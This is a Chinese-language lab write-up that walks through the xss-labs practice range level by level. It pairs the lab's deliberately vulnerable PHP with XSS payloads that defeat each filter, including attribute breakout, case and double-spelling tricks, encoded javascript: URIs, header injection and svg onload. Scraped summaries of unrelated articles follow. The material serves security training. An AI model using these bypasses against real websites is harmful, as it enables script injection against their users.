xss靶场
xss-labs下载地址:GitHub - do0dl3/xss-labs: xss 跨站漏洞平台
xss常见触发标签:XSS跨站脚本攻击实例与防御策略-CSDN博客
level-1
首先查看网页的源代码发现get传参的name的值test插入了html里头,还回显了payload的长度。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户test</h2><center><img src=level1.png></center>//test在这里回显
<h3 align=center>payload的长度:4</h3></body>
</html>
输入:?name=<script>alert()</script>即可。//alert:js弹窗函数。
查看一下源代码:
//没有过滤,直接传参触发xss即可
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];//产参输入
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
level-2
和第一关一样,先注入一下试试:<script>alert()</script>,没有成功,查看页面源代码。

可以看到,第一个的特殊符号尖括号被实体化了,但是第二个没有。不过第二个被双引号闭合起来了,语句没有被执行,那么闭合两侧的双引号和尖括号即可。
输入:"><script>alert()</script><"
查看一下源代码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"]; //下面这个htmlspcialchars()函数将参数给实体化了
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
level-3
和之前一样输入:<script>alert()</script>,没有成功,查看页面源代码。

可以看到,两个地方都被实体化了。查看源代码,发现都是htmlspcialchars()函数进行的实体化,而此函数只是对尖括号进行实体化,所以我们可以使用onfocus事件绕过,代码中是用的单引号,所以需要单引号闭合。
onfocus事件:onfocus事件在元素获得焦点时触发,最常与 <input>、<select> 和 <a> 标签一起使用,简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行js代码。
输入:' onfocus=javascript:alert() '
输入完成后没有弹窗,再次点击一下输入框就可以触发。
level-4
查看页面源代码,发现这关用的是双引号。依然可以使用onfocus进行绕过。
输入:" onfocus=javascript:alert() "
查看一下源代码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);//本行和下一行的代码将两个尖括号删除了。
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
level-5
首先输入" onfocus=javascript:alert() ",查看页面源代码。

我们输入的on变成了o_n,这就过滤了onfocus方法。
查看一下源代码。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);//将字母转化为小写。
$str2=str_replace("<script","<scr_ipt",$str);//过滤了script
$str3=str_replace("on","o_n",$str2);//过滤了onfocus
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
有转化字母为小写的函数,所以,我们无法使用大小写绕过。这里我们使用a href方法。
a href方法:href的属性是 当<a>被点击时,会执行触发跳转。那么我们就可以触发执行一段js代码或者一段链接,这里插入一段js代码。
输入:"> <a href=javascript:alert()>xxx</a> <"
输入完成后点击xxx链接即可。
level-6
查看页面源代码,没有发现过滤了什么,输入关键词看看:onfocus <script> <a href=javascript:alert()>,再看源代码发现这几个都被过滤了。再加上大小写看看有没有被转化。输入:OnFocus <sCriPt> <a hReF=javascript:alert()>。
查看源代码:没有过滤大小写。

使用大小写绕过:
"> <sCript>alert()</sCript> <" " Onfocus=javascript:alert() " "> <a hRef=javascript:alert()>x</a> <" //三者选其一都可
查看源代码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);//过滤script
$str3=str_replace("on","o_n",$str2);//过滤onfocus
$str4=str_replace("src","sr_c",$str3);//过滤src
$str5=str_replace("data","da_ta",$str4);//过滤data
$str6=str_replace("href","hr_ef",$str5);//过滤ghref
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
level-7
和之前一样,输入关键词看看效果:" OnFocus <sCriPt> <a hReF=javascript:alert()>
查看源代码看看结果:如图:大写变成了小写,on,script,href,script这些关键词被删了。

被删除了,那么就用双拼写绕过即可,例如oonn,中间的on被删掉后依然是on。
输入:"> <a hrehreff=javasscriptcript:alert()>x</a> <"
level-8
本关看页面需要上传一个友情链接,先输入一个123看看,看到在input标签和href中有传到了输入的内容。

下来测试一下过滤情况,输入:" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>看一下结果。可以看到两个里面的尖括号和双引号都被实体化了。

这里需要使用到href的一个隐藏属性:href自动Unicode解码,我们可以插入一段js伪协议。
输入:javascript:alert()
使用在线工具进行Unicode编码,解码得:
javascript:alert()
输入后点击友情链接即可。
level-9
先输入关键词看看过滤情况:" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j

没有插入成功,看下源代码。

当输入语句没有http://时,strpos函数会返回false和false相等,此时会执行if语句,因此我们需要输入中有http://但是要注释掉,以免影响执行其他语句。
输入:javascript:alert()/* http:// */
level-10
输入关键词看看过滤情况," sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
查看页面源代码发现全部被实体化了,查看源代码。

还有一个隐藏的传参t_sort,过滤掉了尖括号,使用onfocus事件,因为输入框被隐藏,所以添加type="text"。
输入:?t_sort=" onfocus=javascript:alert() type="text
输入完成点击输入框即可。
level-11
查看页面源代码

发现<input>标签里面四个值都做了隐藏,不过第四个名为t_ref的<input>标签是http头referer的参数(就是由啥地址转跳到这里的,http头的referer会记录有),使用get和post传参输入检查一下前三个,会发现都上传失败了,所以我们使用BP抓包添加http头。
输入:Referer: " onfocus=javascript:alert() type="text

输入后点击输入框即可。
level-12
查看源代码。

根据源代码,这是user-agent头,使用BP修改UA头即可。修改为:" onfocus=javascript:alert() type="text

level-13
查看页面源代码。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_cook" value="" type="hidden">//t_cook考虑到cookie值。
</form>
</center><center><img src=level13.png></center>
<h3 align=center>payload的长度:9</h3></body>
</html>
打开F12找到cookie值修改,这次使用" onclick=alert() type="text ,当然onfocus也可以:" onfocus=javacript:alert() type="text

level-14
本关是要跳转到一个网站,在那个网站进行注入,但是现在网站崩了,就没法打了,直接到15关。
level-15

ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号
这里我们可以包含第一关,然后进行绕过。
输入:?src='/level1.php?name=<img src=1 onmouseover=alert()>'
level-16

可以看到,test被插入进了center标签中,故而不需要闭合,测试一下关键字:
?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> j
发现这里先是将字母小写化了,再把script替换成空格,最后将空格给实体化。/也被替换成了空格。使用<svg>标签。
输入:?keyword=<svg%0Aonload=alert(1)>
level-17
测试一下关键词发现使用了html转义,这里不需要闭合符号,传入的参数都出现在了embed标签上,打开后缀名为swf的文件(FLASH插件的文件,现在很多浏览器都不支持FLASH插件了)
embed标签:embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容,但是呢相对于他们,embed标签打开不了文件的时候就会没有显示的区域。
可以使用flash打开,如果不想下载,可以去源代码将xsfo01.swf改为index.png即可。
输入:?arg02= onclick=alert()
再点击一下图片即可。
level-18
和上一关一样,先改了一下后端的代码。只进行了实体化函数,和上一关基本一样。
输入:?arg02= onmousedown=alert()
level-19
最后几关都是flash xss。
输入:?arg01=version&arg02=<a href="javascript:alert()">here</a>
level-20
输入:?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123
相关文章:
xss靶场
xss-labs下载地址:GitHub - do0dl3/xss-labs: xss 跨站漏洞平台 xss常见触发标签:XSS跨站脚本攻击实例与防御策略-CSDN博客 level-1 首先查看网页的源代码发现get传参的name的值test插入了html里头,还回显了payload的长度。 <!DOCTYPE …...
XML实体注入漏洞攻与防
JAVA中的XXE攻防 回显型 无回显型 cve-2014-3574...
switch组件的功能与用法
文章目录 1 概念介绍2 使用方法3 示例代码 我们在上一章回中介绍了PageView这个Widget,本章回中将介绍Switch Widget.闲话休提,让我们一起Talk Flutter吧。 1 概念介绍 我们在这里介绍的Switch是指左右滑动的开关,常用来表示某项设置是打开还是关闭。Fl…...
cursor重构谷粒商城05——docker容器化技术快速入门【番外篇】
前言:这个系列将使用最前沿的cursor作为辅助编程工具,来快速开发一些基础的编程项目。目的是为了在真实项目中,帮助初级程序员快速进阶,以最快的速度,效率,快速进阶到中高阶程序员。 本项目将基于谷粒商城…...
高等数学学习笔记 ☞ 微分方程
1. 微分方程的基本概念 1. 微分方程的基本概念: (1)微分方程:含有未知函数及其导数或微分的方程。 举例说明微分方程:;。 (2)微分方程的阶:指微分方程中未知函数的导数…...
【探索 Kali Linux】渗透测试与网络安全的终极操作系统
探索 Kali Linux:渗透测试与网络安全的终极操作系统 在网络安全领域,Kali Linux 无疑是最受欢迎的操作系统之一。无论是专业的渗透测试人员、安全研究人员,还是对网络安全感兴趣的初学者,Kali Linux 都提供了强大的工具和灵活的环…...
四方连续贴图是什么意思
上下左右四个方向都是连续的图案,是由一个纹样或几个纹样组成一个单位,向四周重复地连续和延伸扩展而成的图案形式...
RKNN_C++版本-YOLOV5
1.背景 为了实现低延时,所以开始看看C版本的rknn的使用,确实有不足的地方,请指正(代码借鉴了rk官方的仓库文件)。 2.基本的操作流程 1.读取模型初始化 // 设置基本信息 // 在postprocess.h文件中定义,详见…...
k8s优雅重启
理论上处于terminating状态的pod,k8s 就会把它从service中移除了,只用配置一个优雅停机时长就行了。kubectl get endpoints 验证 因此,优雅重新的核心问题,是怎么让空闲长连接关闭,再等待处理中的请求执行完。 一些底…...
三高“高性能、高并发、高可靠”系统架构设计系列文章
目录 高并发系统的艺术:如何在流量洪峰中游刃有余 《数据密集型应用系统设计》读后感与高并发高性能实践案例 系统稳定性与高可用保障的几种思路 软件系统限流的底层原理解析 技术解决方案调研 延迟队列调研 重试调研 异步回调调研 分库分表调研 分布式事…...
opengrok_使用技巧
Searchhttps://xrefandroid.com/android-15.0.0_r1/https://xrefandroid.com/android-15.0.0_r1/ 选择搜索的目录(工程) 手动在下拉框中选择,或者 使用下面三个快捷按钮进行选择或者取消选择。 输入搜索的条件 搜索域说明 域 fullSearc…...
C++资料
InterviewGuide 首页 - 八股精 Releases halfrost/LeetCode-Go GitHub GitHub - GrindGold/CppGuide: 「C/C学习面试指南」一份涵盖大部分 C 程序员所需要掌握的知识。入门、进阶、深入、校招、社招,准备 C 学习& 面试,首选 CppGuide࿰…...
基于模糊PID的孵化箱温度控制系统(论文+源码)
1系统方案设计 本课题为基于模糊PID的孵化箱温度控制系统,其以STM32最小系统与模糊PID控制器为控制核心。系统主要包括数据采集模块、处理器模块、电机控制模块。 数据采集模块由温度传感器构成,通过温度传感器感应温度变化,获得待处理的数据…...
景联文科技加入AIIA联盟数据标注分委会
2025年1月16日,中国人工智能产业发展联盟(简称AIIA)数据委员会数据标注分委会(以下简称“分委会”)正式成立。景联文科技成为第一批AIIA联盟数据标注分委会委员单位。 数据标注分委会的成立旨在搭建数据标注领域产学研…...
1-1 飞机大战项目框架搭建
前言: 基于本人巩固C语言编写,仅供学习参考 1.0 框架搭建 搭建完成后状态 C语言飞机大战框架 使用loadimage时出现波浪线的错误如何解决,这个问题主要是编码格式不对造成的,我们需要修改系统的编码格式,将unicode编码格…...
【C++高并发服务器WebServer】-7:共享内存
本文目录 一、共享内存1.1 shmget函数1.2 shmat1.3 shmdt1.4 shmctl1.5 ftok1.6 共享内存和内存映射的关联1.7 小demo 二、共享内存操作命令 一、共享内存 共享内存允许两个或者多个进程共享物理内存的同一块区域(通常被称为段)。由于一个共享内存段会称…...
RabbitMQ 多种安装模式
文章目录 前言一、Windows 安装 RabbitMq1、版本关系2、Erlang2.1、下载安装 Erlang 23.12.2、配置 Erlang 环境变量 3、RabbitMQ3.1、下载安装 RabbitMQ 3.8.93.2、环境变量3.3、启动RabbitMQ 管理插件3.3、RabbitMQ3.4、注意事项 二、安装docker1、更新系统包:2、…...
C++ 包装器与绑定器的应用之回调函数的实现
回调函数的实现 在消息队列和网络库的框架中,当接收到消息(报文)时,回调用户自定义的函数对象,把消息(报文)参数传给它,由它决定如何处理。 queue参考文章:C queue(STL queue&…...
Baichuan大模型Base、Chat、Instruct等版本的区别
Baichuan大模型Base与Instruct等版本的区别解析 Baichuan大模型作为国内领先的开源语言模型,其不同版本(如Base、Chat、Instruct等)在训练目标、应用场景和性能特点上存在显著差异。以下是基于公开技术文档和行业分析的详细对比:…...
3.DrawCall的概念
DrawCall是渲染管线中的一个重要概念,指的是CPU向GPU发送的一个绘制命令,告诉GPU:“请根据我提供的数据,画一个物体(或一部分物体)。” 通俗易懂讲解:DrawCall就像给画师下订单 想象你是一个老…...
ArcGIS Desktop绘图工具条实战:从基础图形到专业地图注记的进阶指南
1. ArcGIS绘图工具条初探:你的地图设计起点 第一次打开ArcGIS Desktop的绘图工具条时,我就像拿到了一盒全新的彩色铅笔。这个看似简单的工具条,实际上包含了从基础绘图到专业地图注记的全套功能。绘图工具条位于软件界面顶部,右键…...
遇到“用户对AIAgent进行提示词注入”怎么办?
文章目录先理解什么是“提示词注入”图片里的防护方法(两层)第一层:System Prompt 先贴“封条”第二层:输出端再加“安检门”总结先理解什么是“提示词注入” 你可以把 Agent(智能助手) 想象成一个 严格遵…...
Pycharm Database工具:一站式数据库可视化操作指南
1. 为什么你需要Pycharm Database工具? 如果你正在用Pycharm写Python代码,特别是开发Web应用时,很可能会遇到需要操作数据库的情况。很多开发者习惯在Pycharm和Navicat这样的独立数据库工具之间来回切换,这其实既浪费时间又影响开…...
4个步骤掌握高频交易策略:High-Frequency-Trading-Model-with-IB实战指南
4个步骤掌握高频交易策略:High-Frequency-Trading-Model-with-IB实战指南 【免费下载链接】High-Frequency-Trading-Model-with-IB A high-frequency trading model using Interactive Brokers API with pairs and mean-reversion in Python 项目地址: https://gi…...
保姆级教程:ROS1/ROS2下rosbag录制与播放的10个实战技巧(含脚本与launch文件)
ROS1/ROS2高效数据管理:rosbag录制与播放的工程化实践指南 第一次接触rosbag时,我花了整整三天时间才搞明白为什么录制的数据总是无法正常播放。当时在实验室调试移动机器人,每次测试都要重新跑一遍完整流程,效率低得令人抓狂。直…...
如何在5分钟内将网页SVG完美保存为可编辑矢量文件?
如何在5分钟内将网页SVG完美保存为可编辑矢量文件? 【免费下载链接】svg-crowbar Extracts an SVG node and accompanying styles from an HTML document and allows you to download it all as an SVG file. 项目地址: https://gitcode.com/gh_mirrors/sv/svg-cr…...
【24年最新算法】首发CPO-XGBoost回归+交叉验证 基于冠豪猪优化算法-XGBoost多变量回归预测
✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…...
计算机毕设 java 基于 Android 的医疗预约系统的设计与实现 SpringBoot 安卓智能医疗预约挂号平台 JavaAndroid 医患预约诊疗管理系统
计算机毕设 java 基于 Android 的医疗预约系统的设计与实现 53m069,末尾的数字和英文也要加上 (配套有源码 程序 mysql 数据库 论文)本套源码可以先看具体功能演示视频领取,文末有联 xi 可分享随着信息技术的飞速发展和医疗需求的…...
Obsidian Local Images Plus 终极指南:如何一键解决所有本地图片管理难题
Obsidian Local Images Plus 终极指南:如何一键解决所有本地图片管理难题 【免费下载链接】obsidian-local-images-plus This repo is a reincarnation of obsidian-local-images plugin which main aim was downloading images in md notes to local storage. 项…...
Qwen3-32B-Chat API优化:降低OpenClaw任务Token消耗的5个技巧
Qwen3-32B-Chat API优化:降低OpenClaw任务Token消耗的5个技巧 1. 为什么需要关注Token消耗? 当我第一次在本地部署OpenClaw对接Qwen3-32B-Chat模型时,最让我震惊的不是它的推理能力,而是执行简单自动化任务后Token消耗的速度。一…...
